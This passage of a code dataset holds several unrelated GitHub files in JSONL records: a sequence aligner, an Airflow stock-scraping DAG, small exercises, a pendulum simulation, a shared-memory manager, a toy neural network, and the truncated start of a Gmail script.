PairwiseAligner\nfrom Bio.Alphabet.IUPAC import (ExtendedIUPACProtein, IUPACAmbiguousDNA,\n IUPACAmbiguousRNA)\nfrom Bio.SeqIO.FastaIO import SimpleFastaParser\nfrom ka_config import KA_PARAMS\nimport pyximport\npyximport.install(inplace=True)\nfrom functions import build_fuzzy_map, pairwise_align\n\n\nparser = ArgumentParser()\nparser.add_argument('-fs', '--fuzzy-seed', type=str, required=True,\n help='fuzzy k-mer seed pattern')\nparser.add_argument('-st', '--seq-type', type=str, required=True,\n choices=['dna', 'rna', 'protein'], help='sequence type')\nparser.add_argument('-qs', '--query-seq', type=str, required=True,\n help='query FASTA sequence file')\nparser.add_argument('-ts', '--target-seq', type=str, required=True,\n help='target FASTA sequence file')\nparser.add_argument('-ql', '--query-loc', type=int, nargs=2,\n help='query sequence start stop')\nparser.add_argument('-tl', '--target-loc', type=int, nargs=2,\n help='target sequence start stop')\nparser.add_argument('-sa', '--sim-algo', type=str, default='smith-waterman',\n choices=['levenshtein', 'hamming', 'smith-waterman'],\n help='string similarity algorithm')\nparser.add_argument('-sc', '--sim-cutoff', type=float, default='0.5',\n help='fuzzy membership similarity cutoff')\nparser.add_argument('-ms', '--match-score', type=float, default='2',\n help='match score')\nparser.add_argument('-ss', '--mismatch-score', type=float, default='-3',\n help='mismatch score')\nparser.add_argument('-og', '--open-gap-score', type=float,\n help='open gap score')\nparser.add_argument('-eg', '--extend-gap-score', type=float,\n help='extend gap score')\nparser.add_argument('-sm', '--sub-matrix', type=str, default='blosum62',\n help='substitution matrix (any Biopython MatrixInfo '\n 'matrix name)')\nparser.add_argument('-mg', '--max-kmer-gap', type=int, default='30',\n help='maximum gap size when grouping kmers')\nparser.add_argument('-et', '--expect-thres', type=float, default='10',\n help='expect value threshold')\nparser.add_argument('-af', '--align-fmt', type=str, default='pairwise',\n choices=['pairwise', 'tabular'],\n help='alignment output format')\nparser.add_argument('-as', '--align-sort', type=str, default='e_value',\n choices=['e_value', 'bit_score', 'pct_id', 'q_start',\n 's_start'],\n help='alignment output sort')\nparser.add_argument('-ma', '--max-aligns', type=int, default='50',\n help='maximum number of alignments to show')\nparser.add_argument('-pw', '--pwa-width', type=int, default='60',\n help='pairwise alignment output width')\nargs = parser.parse_args()\n\nfor file in (args.query_seq, args.target_seq):\n if not path.isfile(file):\n parser.error(\"File %s doesn't exist\" % file)\n\n# alphabet\nif args.seq_type == 'dna':\n args.seq_abc = IUPACAmbiguousDNA()\nelif args.seq_type == 'rna':\n args.seq_abc = IUPACAmbiguousRNA()\nelse:\n args.seq_abc = ExtendedIUPACProtein()\n\n# Aligners setup\naligners = {'global': PairwiseAligner(), 'local': None}\naligners['global'].mode = 'global'\nif args.seq_type in ('dna', 'rna'):\n aligners['global'].match = args.match_score\n aligners['global'].mismatch = args.mismatch_score\n if not args.open_gap_score:\n args.open_gap_score = -5\n if not args.extend_gap_score:\n args.extend_gap_score = -2\nelse:\n sub_matrix = getattr(import_module('Bio.SubsMat.MatrixInfo'),\n args.sub_matrix)\n aligners['global'].substitution_matrix = sub_matrix\n if not args.open_gap_score:\n args.open_gap_score = -11\n if not args.extend_gap_score:\n args.extend_gap_score = -1\naligners['global'].open_gap_score = args.open_gap_score\naligners['global'].extend_gap_score = args.extend_gap_score\nif args.sim_algo == 'smith-waterman':\n aligners['local'] = PairwiseAligner()\n aligners['local'].mode = 'local'\n if args.seq_type in ('dna', 'rna'):\n aligners['local'].match = args.match_score\n aligners['local'].mismatch = args.mismatch_score\n else:\n aligners['local'].substitution_matrix = sub_matrix\n aligners['local'].open_gap_score = args.open_gap_score\n aligners['local'].extend_gap_score = args.extend_gap_score\n\n# Karlin-Altschul parameter values\nif args.seq_type in ('dna', 'rna'):\n if ((args.match_score, args.mismatch_score) in KA_PARAMS['na']\n and (abs(args.open_gap_score), abs(args.extend_gap_score)) in\n KA_PARAMS['na'][(args.match_score, args.mismatch_score)]):\n args.ka_gapped_l = KA_PARAMS['na'][\n (args.match_score, args.mismatch_score)][\n (abs(args.open_gap_score), abs(args.extend_gap_score))][0]\n args.ka_gapped_k = KA_PARAMS['na'][\n (args.match_score, args.mismatch_score)][\n (abs(args.open_gap_score), abs(args.extend_gap_score))][1]\n else:\n args.ka_gapped_l = 1.280\n args.ka_gapped_k = 0.460\nelse:\n if (args.sub_matrix in KA_PARAMS['aa']\n and (abs(args.open_gap_score), abs(args.extend_gap_score)) in\n KA_PARAMS['aa'][args.sub_matrix]):\n args.ka_gapped_l = KA_PARAMS['aa'][args.sub_matrix][\n (abs(args.open_gap_score), abs(args.extend_gap_score))][0]\n args.ka_gapped_k = KA_PARAMS['aa'][args.sub_matrix][\n (abs(args.open_gap_score), abs(args.extend_gap_score))][1]\n else:\n args.ka_gapped_l = 0.267\n args.ka_gapped_k = 0.041\n\nif args.align_sort in ('e_value', 'q_start', 's_start'):\n align_sort_rev = False\nelif args.align_sort in ('bit_score', 'pct_id'):\n align_sort_rev = True\n\nif args.align_fmt == 'pairwise':\n pw_header_fmt = dedent('''\\\n Query: {qid} (Length = {qlen})\n Sbjct: {sid} (Length = {slen})\n ''')\n pw_section_header_fmt = dedent('''\\\n Score = {bits:.1f} bits ({raw}), Expect = {eval:{efmt}}\n Identities = {ids}/{tot} ({idp:.0f}%), {pos}Gaps = {gaps}/{tot} ({gapp:.0f}%)\\\n {strand}\n ''')\n pw_alignment_fmt = dedent('''\\\n Query {qsta:<{lenpad}} {query} {qend}\n {mpad}{match}\n Sbjct {ssta:<{lenpad}} {sbjct} {send}\n ''')\n\nargs.k = len(args.fuzzy_seed)\nargs.seed_exact_idxs = [i for i, c in enumerate(args.fuzzy_seed) if c == '#']\nargs.seed_fuzzy_idxs = [i for i, c in enumerate(args.fuzzy_seed) if c == '*']\nquery_seq_fh = open(args.query_seq, 'r')\ntarget_seq_fh = open(args.target_seq, 'r')\nfor target_seq_title, target_seq in SimpleFastaParser(target_seq_fh):\n if args.target_loc:\n target_seq = target_seq[\n (args.target_loc[0] - 1):(args.target_loc[1] - 1)]\n fuzzy_map = build_fuzzy_map(target_seq, args)\n for query_seq_title, query_seq in SimpleFastaParser(query_seq_fh):\n if args.query_loc:\n query_seq = query_seq[\n (args.query_loc[0] - 1):(args.query_loc[1] - 1)]\n if args.align_fmt == 'pairwise':\n lenpad = len(str(max(len(query_seq), len(target_seq))))\n print(pw_header_fmt.format(\n qid=query_seq_title, qlen=len(query_seq),\n sid=target_seq_title, slen=len(target_seq)))\n for i, alignment in enumerate(sorted(\n pairwise_align(fuzzy_map, query_seq, target_seq, aligners,\n args),\n key=lambda a: a[args.align_sort], reverse=align_sort_rev)):\n if args.align_fmt == 'pairwise':\n efmt = '.3' + ('e' if alignment['e_value'] < 1e-3 else 'f')\n idp = alignment['num_ids'] / len(query_seq) * 100\n posp = alignment['num_pos'] / len(query_seq) * 100\n gapp = alignment['num_gaps'] / len(query_seq) * 100\n if args.seq_type == 'dna':\n strand = '\\nStrand = Plus/' + alignment['strand']\n else:\n strand = ''\n if args.seq_type == 'protein':\n positives = (\n 'Positives = {pos}/{tot} ({posp:.0f}%), '.format(\n pos=alignment['num_pos'], tot=len(query_seq),\n posp=posp))\n else:\n positives = ''\n print(pw_section_header_fmt.format(\n bits=alignment['bit_score'], raw=alignment['raw_score'],\n eval=alignment['e_value'], efmt=efmt,\n ids=alignment['num_ids'], tot=len(query_seq), idp=idp,\n gaps=alignment['num_gaps'], gapp=gapp, strand=strand,\n pos=positives))\n mpad = ' ' * (8 + lenpad + 3)\n qstart_line = alignment['qstart']\n sstart_line = alignment['tstart']\n for j in range(0, len(alignment['match']), args.pwa_width):\n if j + args.pwa_width < len(alignment['match']):\n pwa_width = args.pwa_width\n else:\n pwa_width = len(alignment['match']) - j\n qend_line = (qstart_line + pwa_width - 1\n - alignment['query'][j:(j + pwa_width)]\n .count('-'))\n if alignment['strand'] == 'Plus':\n send_line = sstart_line + pwa_width - 1\n send_line -= (\n alignment['target'][j:(j + pwa_width)].count('-'))\n else:\n send_line = sstart_line - pwa_width + 1\n send_line += (\n alignment['target'][j:(j + pwa_width)].count('-'))\n print(pw_alignment_fmt.format(\n qsta=qstart_line, lenpad=lenpad,\n query=alignment['query'][j:(j + pwa_width)],\n qend=qend_line,\n match=alignment['match'][j:(j + pwa_width)],\n ssta=sstart_line, mpad=mpad,\n sbjct=alignment['target'][j:(j + pwa_width)],\n send=send_line))\n qstart_line = qend_line + 1\n if alignment['strand'] == 'Plus':\n sstart_line = send_line + 1\n else:\n sstart_line = send_line - 1\n if i + 1 == args.max_aligns:\n break\n del fuzzy_map\ntarget_seq_fh.close()\nquery_seq_fh.close()\n","repo_name":"hermidalc/fuzzy-kmer-seq-aligner","sub_path":"fuzzy_kmer_seq_aligner.py","file_name":"fuzzy_kmer_seq_aligner.py","file_ext":"py","file_size_in_byte":10900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74239626008","text":"from datetime import datetime, timedelta\n\nfrom airflow import DAG\nfrom airflow.operators.python import PythonOperator\nfrom airflow.operators.bash import BashOperator\nimport sys\nsys.path.append('/opt/airflow/dags/libs')\n\n\n\nDAG_ID = 1\nENV_ID = 1\nDATASET_NAME = f\"dataset_{DAG_ID}_{ENV_ID}\"\n\n\ndefault_args = {\n 'owner': 'junaid',\n 'retry': 5,\n 'retry_delay': timedelta(minutes=5)\n}\n\n\ndef get_io():\n import libs.af_urls as urls\n from libs.af_headers import headers\n import libs.af_libs as libs\n import libs.af_logins as logins\n import time\n import json\n import requests\n from bs4 import BeautifulSoup\n from pytz import timezone\n import pandas as pd\n\n # Randomize the numbers so it doesn't get repetitive\n response_dow = requests.get(url=urls.url_dow, headers=headers)\n response_sp = requests.get(url=urls.url_sp, headers=headers)\n response_nasdaq = requests.get(url=urls.url_nasdaq, headers=headers)\n\n # Parse the whole HTML page using BeautifulSoup\n dow = BeautifulSoup(response_dow.text, 'html.parser')\n sp = BeautifulSoup(response_sp.text, 'html.parser')\n nasdaq = BeautifulSoup(response_nasdaq.text, 'html.parser')\n\n json_dow = json.loads(dow.string)[0]\n json_sp = json.loads(sp.string)[0]\n json_nasdaq = json.loads(nasdaq.string)[0]\n\n dow_io = json_dow['implied_open']\n sp_io = json_sp['implied_open']\n nasdaq_io = json_nasdaq['implied_open']\n\n dow_price = json_dow['price']\n sp_price = json_sp['price']\n nasdaq_price = json_nasdaq['price']\n \n updated_at = str(datetime.fromisoformat(str(json_nasdaq[\"last_updated\"]).split('.')[0]))\n\n dict = {\n \"date_time\": datetime.now(timezone('US/Eastern')).strftime('%Y-%m-%d %H:%M:%S'),\n\n \"dow_io\":dow_io,\n \"dow_price\":dow_price,\n\n \"sp_io\":sp_io,\n \"sp_price\":sp_price,\n\n \"nasdaq_io\":nasdaq_io,\n \"nasdaq_price\":nasdaq_price,\n\n \"updated_at_GMT\": updated_at\n }\n\n\n project_id = logins.project_id\n table_id = f\"{logins.database}.{logins.io_raw}\"\n\n df = fix_datetime(pd.DataFrame([dict]), pd)\n \n df['updated_at_GMT'] = pd.to_datetime(df['updated_at_GMT'])\n\n libs.toBQ(df, project_id, table_id)\n\ndef fix_datetime(df, pd):\n df['date_time'] = pd.to_datetime(df['date_time'])\n return df\n\ndef get_actual_price(tic, BeautifulSoup):\n import requests\n import re\n\n url = f\"https://www.marketwatch.com/investing/stock/{tic}\"\n \n response = requests.get(url)\n\n soup = BeautifulSoup(response.text, 'html.parser')\n\n a = soup.find_all(\"h2\", class_=\"intraday__price\")\n\n if a == None or a == []:\n return 0\n \n quote = re.findall(r'[\\d]*[.][\\d]+', str(a))[-1]\n return quote\n\n\ndef get_quote():\n from libs.af_headers import headers2\n import libs.af_urls as urls\n import libs.af_logins as logins\n import libs.af_libs as libs\n import time\n\n from pytz import timezone\n from urllib.request import Request, urlopen\n from bs4 import BeautifulSoup\n\n import pandas as pd\n\n\n date = str(datetime.now(timezone('US/Eastern'))).split()[0]\n stamp = str(datetime.now(timezone('US/Eastern'))).split()[1].split('.')[0]\n \n url_nvda = f\"https://finviz.com/quote.ashx?t=NVDA&ty=c&p=d&b=1\" #For RSI\n\n req = Request(url_nvda , headers=headers2)\n\n webpage = urlopen(req).read()\n soup = BeautifulSoup(webpage, 'html.parser')\n \n # index = soup.find_all(\"td\", class_=\"snapshot-td2\")[0].text.split(', ')[-1] # This gives the INDEX wow\n \n price = get_actual_price(\"NVDA\", BeautifulSoup) # soup.find_all(\"td\", class_=\"snapshot-td2\")[28].text # This gives the RSI\n RSI = soup.find_all(\"td\", class_=\"snapshot-td2\")[52].text # This gives the RSI\n\n print(price)\n print(RSI)\n\n \n dict = {\n \"date_time\":datetime.now(timezone('US/Eastern')).strftime('%Y-%m-%d %H:%M:%S'),\n\n \"price\": price,\n \"RSI\": RSI\n }\n \n project_id = logins.project_id\n table_id = f\"{logins.database}.{logins.table_nvda}\"\n\n libs.toBQ(fix_datetime(pd.DataFrame([dict]), pd), project_id, table_id)\n\n\nwith DAG(\n default_args=default_args,\n dag_id=\"dag_quotes\",\n start_date=datetime(2023, 8, 2),\n schedule_interval='@hourly',\n tags = [\"stocks\",\"bigquery\"]\n) as dag:\n task1 = PythonOperator(\n task_id='get_io',\n python_callable=get_io\n )\n\n task2= PythonOperator(\n task_id='get_quote',\n python_callable=get_quote\n )\n\n run_this = BashOperator(\n task_id=\"run_after_loop\",\n bash_command=\"echo 1 This was run after the implied open scrape\",\n )\n\n # markets_2 = BigQueryExecuteQueryOperator(\n # task_id=\"markets_2\",\n # sql=\"\"\"SELECT * FROM `ivory-oarlock-388916.stonks.io_raw`\"\"\",\n # destination_dataset_table=f\"ivory-oarlock-388916.stonks.io_raw_2\",\n # write_disposition=\"WRITE_TRUNCATE\",\n # gcp_conn_id=\"stocks_bigquery\",\n # use_legacy_sql=False,\n # )\n\n # task1 >> markets_2\n\n [task1, task2] >> run_this \n# create_dataset = BigQueryCreateEmptyDatasetOperator(task_id=\"create_dataset\", dataset_id=DATASET_NAME)\n \n# update_table = BigQueryUpdateTableOperator(\n# task_id=\"update_table\",\n# dataset_id=DATASET_ID,\n# table_id=\"impliedopen\",\n# fields=[\"date\", \"stamp\", \"dow_io\", \"dow_price\", \"sp_io\", \"sp_price\", \"nasdaq_io\", \"nasdaq_price\", \"updated_at_GMT\"],\n# table_resource=dict,\n# )\n\n\n","repo_name":"siddij3/stonks","sub_path":"dags/dags_quotes.py","file_name":"dags_quotes.py","file_ext":"py","file_size_in_byte":5413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42923999805","text":"import random\n\n# counter[0] = numero 1, counter[1] = numero 2, counter[2] = numero 3,\ncounter = [0, 0, 0, 0, 0, 0]\n# counter[3] = numero 4, counter[4] = numero 5, counter[5] = numero 6.\n\n\nfor number in range(1000000):\n nut = random.randint(1, 6)\n if nut == 1:\n counter[0] += 1\n elif nut == 2:\n counter[1] += 1\n elif nut == 3:\n counter[2] += 1\n elif nut == 4:\n counter[3] += 1\n elif nut == 5:\n counter[4] += 1\n elif nut == 6:\n counter[5] += 1\n\n\nfor counting in range(len(counter)):\n print(\"numero\", counting+1, counter[counting])\n maximum = max(counter)\n\nprint(\"Il numero lanciato più frequentemente è:\",\n counter.index(maximum)+1, \"uscito\", maximum, \"volte\")\nminor = min(counter)\nprint(\"Il numero lanciato meno frequentemente è:\",\n counter.index(minor)+1, \"uscito\", minor, \"volte\")\n\nfor i in range(6):\n print(\"il numero {} è uscito {}% volte\".format(i+1, (counter[i]/10**6)*100))\n","repo_name":"sidectrl/Steve-Jobs","sub_path":"Data_ANALisys/esercizi_per_casa/2022_10_06(Homework).py","file_name":"2022_10_06(Homework).py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"24592647792","text":"#!/usr/bin/env python3\n# _*_ coding:utf-8 _*_\n\nfrom PIL import Image\nimport numpy as np\n\n\ndef multiplication(image_a, bash):\n bash = (1.0 / 255) * np.array(bash)\n bash = np.round(bash)\n bash = bash.astype('uint8') # if not change the type of bash , it will be error\n print(bash)\n result = np.array(image_a) * bash\n print(bash.dtype)\n result = Image.fromarray(result, 'L')\n return result\n\n\ndef main():\n with Image.open('./images/Fig0230(a)(dental_xray).tif') as image_a, \\\n Image.open('./images/Fig0230(b)(dental_xray_mask).tif') as image_b:\n output = multiplication(image_a, image_b)\n\n output.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wang-tf/DIP3E","sub_path":"CH02/multiplication.py","file_name":"multiplication.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"35084320380","text":"import math\ndef numSquares(n):\n ans = [0]*(n+2)\n perf_sq = []\n # ans[1] = 1\n for i in range(1,n+1):\n if(math.sqrt(i) == math.ceil(math.sqrt(i))):\n ans[i] = 1\n perf_sq.append(i)\n else:\n val = i\n for sq in perf_sq:\n val = min(val,ans[i - sq] + ans [sq])\n ans[i] = val\n return ans[n]\n\n\n\nprint(numSquares(13))","repo_name":"gaikwadrahul20/leet-code","sub_path":"Math/perfect_squares.py","file_name":"perfect_squares.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35975764772","text":"# coding:utf-8\r\n\r\n\r\nclass Server:\r\n\r\n # 初始化函数\r\n def __init__(self, id, ip, hostname, type, os):\r\n # ID\r\n self.id = id\r\n # IP\r\n self.ip = ip\r\n # host名称\r\n self.hostname = hostname\r\n # 处理器类型\r\n self.type = type\r\n # 操作系统\r\n self.os = os\r\n\r\n # 把Object对象转换成Dict对象\r\n def convert2dict(self):\r\n dictionary = {}\r\n dictionary.update(self.__dict__)\r\n return dictionary","repo_name":"naiteluode/ftasomc_old","sub_path":"ansiblewebapp/dto/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"8218571979","text":"\"\"\"Module with tests for database\"\"\"\nimport unittest\nimport datetime\nfrom service import Database\n\nsample_tour = {\n 'origin_country': 'xxx', 'destination_country': 'yyy',\n 'duration_days': 777, 'start_date': datetime.date(2121, 12, 12)\n}\n\n\nclass TestDatabase(unittest.TestCase):\n \"\"\"Test cases for database module\"\"\"\n\n def setUp(self):\n \"\"\"New database instance for every test cases\"\"\"\n self.database = Database('sqlite:///')\n\n def test_get_all_empty(self):\n \"\"\"Get tours from empty database\"\"\"\n empty_list = list(self.database.get_all())\n self.assertEqual([], empty_list)\n\n def test_get_and_insert(self):\n \"\"\"Test case for insert, get one and get all tours\"\"\"\n self.database.create(sample_tour)\n expected_tour = sample_tour.copy()\n expected_tour['tour_id'] = 1\n\n tour_from_db = self.database.get_one(1).values_dict()\n self.assertEqual(expected_tour, tour_from_db)\n\n tours_from_db = [tour.values_dict() for tour in self.database.get_all()]\n self.assertEqual([expected_tour], tours_from_db)\n\n def test_get_invalid_id(self):\n \"\"\"Test case for getting tour by not existing id\"\"\"\n tour = self.database.get_one(42)\n self.assertIsNone(tour)\n\n def test_update(self):\n \"\"\"Test case for updating tour\"\"\"\n self.database.create(sample_tour)\n new_values = {'destination_country': 'aaa', 'duration_days': 0}\n\n self.database.update(1, new_values)\n expected_tour = sample_tour.copy()\n expected_tour.update(new_values)\n expected_tour['tour_id'] = 1\n\n tour_from_db = self.database.get_one(1).values_dict()\n self.assertEqual(expected_tour, tour_from_db)\n\n def test_delete(self):\n \"\"\"Test case for deleting tour\"\"\"\n self.database.create(sample_tour)\n\n self.assertIsNotNone(self.database.get_one(1))\n self.database.delete(1)\n self.assertIsNone(self.database.get_one(1))\n","repo_name":"traumgedanken/tours_test_task","sub_path":"tests/test_database.py","file_name":"test_database.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5749714363","text":"import pygame as pg\nfrom pygame.draw import *\nfrom random import randint\nfrom math import sin, cos\npg.init()\n\nFPS = 100\nscreen = pg.display.set_mode((1200, 900))\nscreen.fill((50, 50, 50))\n\nRED = (255, 0, 0)\nBLUE = (0, 0, 255)\nYELLOW = (255, 255, 0)\nGREEN = (0, 255, 0)\nMAGENTA = (255, 0, 255)\nCYAN = (0, 255, 255)\nBLACK = (0, 0, 0)\nCOLORS = [RED, BLUE, YELLOW, GREEN, MAGENTA, CYAN]\n\nx_center = 600\ny_center = 450\ng = 9.8\nm = 5\nR = 300\nA = 5\nw = 300\nt = 0\ndt = 0.01\ntheta = 0.2\ndtheta = 0\nsize = 15\n\nx = R * sin(theta) + 600\ny = A * sin(w*t) - R * cos(theta) + 300\n\npg.display.update()\nclock = pg.time.Clock()\nfinished = False\n\nwhile not finished:\n pg.display.update()\n screen.fill((50, 50, 50))\n clock.tick(FPS)\n\n ddtheta = (-A * (w ** 2) * sin(w*t) + g) * sin(theta) / R\n dtheta += ddtheta * dt\n theta += dtheta * dt\n x = R * sin(theta) + x_center\n y = A * sin(w * t) - R * cos(theta) + y_center\n circle(screen, (255, 255, 255), (x_center, y_center+A*sin(w*t)), size)\n circle(screen, (199, 199, 0), (x, y), size)\n\n line(screen, (255, 255, 255), (x_center, y_center), (x, y))\n t += dt\n for event in pg.event.get():\n if event.type == pg.QUIT:\n finished = True\n\npg.quit()","repo_name":"SavoSyka/vpv","sub_path":"mechanic.py","file_name":"mechanic.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22198919013","text":"import tempfile\r\nimport mmap\r\nimport os\r\nimport logging\r\nfrom exception_handler import PrintGetExceptionDetails\r\n\r\n# ***********************************************************************************\r\n# Shared memory management \r\n#\r\nclass SharedMemoryManager:\r\n def __init__(self, shmFlags=None, name=None, size=None):\r\n try:\r\n self._shmFilePath = '/dev/shm'\r\n self._shmFileName = name\r\n if self._shmFileName is None:\r\n self._shmFileName = next(tempfile._get_candidate_names())\r\n\r\n self._shmFileSize = size\r\n if self._shmFileSize is None:\r\n self._shmFileSize = 1024 * 1024 * 10 # Bytes (10MB)\r\n\r\n self._shmFileFullPath = os.path.join(self._shmFilePath, self._shmFileName)\r\n self._shmFlags = shmFlags\r\n\r\n # See the NOTE section here: https://docs.python.org/2/library/os.html#os.open for details on shmFlags\r\n if self._shmFlags is None:\r\n self._shmFile = open(self._shmFileFullPath, 'r+b') \r\n self._shm = mmap.mmap(self._shmFile.fileno(), self._shmFileSize)\r\n else:\r\n self._shmFile = os.open(self._shmFileFullPath, self._shmFlags) \r\n os.ftruncate(self._shmFile, self._shmFileSize)\r\n self._shm = mmap.mmap(self._shmFile, self._shmFileSize, mmap.MAP_SHARED, mmap.PROT_WRITE | mmap.PROT_READ)\r\n\r\n # Dictionary to host reserved mem blocks\r\n # self._mem_slots[sequenceNo] = [Begin, End] (closed interval)\r\n self._memSlots = dict()\r\n\r\n logging.info('Shared memory name: {0}'.format(self._shmFileFullPath))\r\n except:\r\n PrintGetExceptionDetails()\r\n raise\r\n\r\n def ReadBytes(self, memorySlotOffset, memorySlotLength):\r\n try:\r\n # This is Non-Zero Copy operation\r\n # self._shm.seek(memorySlotOffset, os.SEEK_SET)\r\n # bytesRead = self._shm.read(memorySlotLength)\r\n # return bytesRead\r\n\r\n #Zero-copy version\r\n return memoryview(self._shm)[memorySlotOffset:memorySlotOffset+memorySlotLength].toreadonly()\r\n\r\n except:\r\n PrintGetExceptionDetails()\r\n raise\r\n\r\n # Returns None if no availability\r\n # Returns closed interval [Begin, End] address with available slot\r\n def GetEmptySlot(self, seqNo, sizeNeeded):\r\n address = None\r\n\r\n if sizeNeeded < 1:\r\n return address\r\n\r\n # Empty memory\r\n if len(self._memSlots) < 1:\r\n if self._shmFileSize >= sizeNeeded:\r\n self._memSlots[seqNo] = (0, sizeNeeded - 1)\r\n address = (0, sizeNeeded - 1)\r\n else:\r\n address = None\r\n else:\r\n self._memSlots = {k: v for k, v in sorted(\r\n self._memSlots.items(), key=lambda item: item[1])}\r\n\r\n # find an available memory gap = sizeNeeded\r\n prevSlotEnd = 0\r\n for k, v in self._memSlots.items():\r\n if (v[0] - prevSlotEnd - 1) >= sizeNeeded:\r\n address = (prevSlotEnd + 1, prevSlotEnd + sizeNeeded)\r\n self._memSlots[seqNo] = (address[0], address[1])\r\n break\r\n else:\r\n prevSlotEnd = v[1]\r\n\r\n # no gap in between, check last possible gap\r\n if address is None:\r\n if (self._shmFileSize - prevSlotEnd + 1) >= sizeNeeded:\r\n address = (prevSlotEnd + 1, prevSlotEnd + sizeNeeded)\r\n self._memSlots[seqNo] = (address[0], address[1])\r\n\r\n # interval [Begin, End]\r\n return address\r\n\r\n def DeleteSlot(self, seqNo):\r\n try:\r\n del self._memSlots[seqNo]\r\n return True\r\n except KeyError:\r\n return False\r\n\r\n def __del__(self):\r\n try:\r\n if self._shmFlags is None:\r\n self._shmFile.close()\r\n else:\r\n os.close(self._shmFile)\r\n except:\r\n PrintGetExceptionDetails()\r\n raise\r\n\r\n","repo_name":"Azure-Samples/azure-intelligent-edge-patterns","sub_path":"factory-ai-vision/EdgeSolution/modules/InferenceModule/shared_memory.py","file_name":"shared_memory.py","file_ext":"py","file_size_in_byte":4154,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"31"} +{"seq_id":"37906345491","text":"import numpy as np\n\ndef sigmoid(x):\n return (1 / (1 + np.exp(-x)))\n\ndef initialize_parameters(X, Y, hidden_size):\n input_size = X.shape[0]\n output_size = Y.shape[0]\n W1 = np.random.randn(hidden_size, input_size)*np.sqrt(1/input_size)\n b1 = np.zeros((hidden_size, 1))\n W2 = np.random.randn(output_size, hidden_size)*np.sqrt(1/hidden_size)\n b2 = np.zeros((output_size, 1))\n return {'W1': W1, 'W2': W2, 'b1': b1, 'b2': b2}\n\ndef forward_propagation(X, theta):\n Z1 = np.dot(theta['W1'], X)+theta['b1']\n A1 = np.tanh(Z1)\n Z2 = np.dot(theta['W2'], A1)+theta['b2']\n y = sigmoid(Z2) \n return y, {'Z1': Z1, 'Z2': Z2, 'A1': A1, 'y': y}\n\ndef loss(predict, actual):\n m = actual.shape[1]\n loss_ = (1 / (2 * m)) * np.sum(np.square(predict - actual))\n return loss_\n\ndef back_propagation(X, Y, params, cache):\n m = X.shape[1]\n dy = cache['y'] - Y\n dW2 = (1 / m) * np.dot(dy, np.transpose(cache['A1']))\n db2 = (1 / m) * np.sum(dy, axis=1, keepdims=True)\n dZ1 = np.dot(np.transpose(params['W2']), dy) * (1-np.power(cache['A1'], 2))\n dW1 = (1 / m) * np.dot(dZ1, np.transpose(X))\n db1 = (1 / m) * np.sum(dZ1, axis=1, keepdims=True)\n return {\"dW1\": dW1, \"db1\": db1, \"dW2\": dW2, \"db2\": db2}\n\ndef update_parameters(gradient, theta, learning_rate = 0.01):\n W1 = theta['W1'] - learning_rate * gradient['dW1']\n b1 = theta['b1'] - learning_rate * gradient['db1']\n W2 = theta['W2'] - learning_rate * gradient['dW2']\n b2 = theta['b2'] - learning_rate * gradient['db2']\n return {'W1': W1, 'W2': W2, 'b1': b1, 'b2': b2}\n\ndef train(X, Y, learning_rate, hidden_size, number_of_iterations = 50000):\n theta = initialize_parameters(X, Y, hidden_size)\n cost_ = []\n for j in range(number_of_iterations):\n y, cache = forward_propagation(X, theta)\n cost_iteration = loss(y, Y)\n gradient = back_propagation(X, Y, theta, cache)\n theta = update_parameters(gradient, theta, learning_rate)\n cost_.append(cost_iteration)\n return theta, cost_\n\nimport math\ndef getNoise(size):\n variance = 0.1\n mean = 0\n std_dev = np.sqrt(variance)\n num_samples = size\n return np.random.normal(mean, std_dev, num_samples)\n\ndef generateData():\n X = []\n Y = []\n for i in range(1, 21):\n X.append([i/10])\n Y.append([math.sin(X[i-1][0])])\n X = np.array(X)\n Y = np.array(Y)\n X *= 3.14\n Y += getNoise(Y.shape)\n return X, Y\n\nX, Y = generateData()\ntheta, loss_ = train(X, Y, 0.0005, 6, 5000)\n\nimport matplotlib.pyplot as plt\nplt.plot(loss_)\nplt.show()","repo_name":"nickrcole/deeplearning","sub_path":"homework 5/q5.py","file_name":"q5.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5820106194","text":"from balanced_binary_tree import Node, BinaryTree, create_tree\n\ndef find_lca(node1, node2):\n if node1 is None or node2 is None:\n return None\n\n if node1 == node2:\n return node1\n\n p1 = node1.parent\n p2 = node2.parent\n\n visited = {}\n while p1 is not None or p2 is not None:\n if p1 == p2:\n return p1\n\n if p1 is not None and p1 in visited:\n return p1\n\n if p2 is not None and p2 in visited:\n return p2\n\n if p1 is not None:\n visited[p1] = True\n p1 = p1.parent\n\n if p2 is not None:\n visited[p2] = True\n p2 = p2.parent\n\n\n return None\n\ndef main():\n tree = create_tree()\n node1 = tree.find(3)\n node2 = tree.find(9)\n lca = find_lca(node1, node2)\n print(lca)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ssarangi/algorithms","sub_path":"epi/binary_trees/lca.py","file_name":"lca.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"5068584752","text":"import base64\nimport email\nimport os\nimport re\nimport logging\nimport copy\nimport time\n\nimport httplib2\nimport oauth2client\nfrom apiclient import discovery, errors\nfrom oauth2client import client\nfrom oauth2client import tools\n\n# from 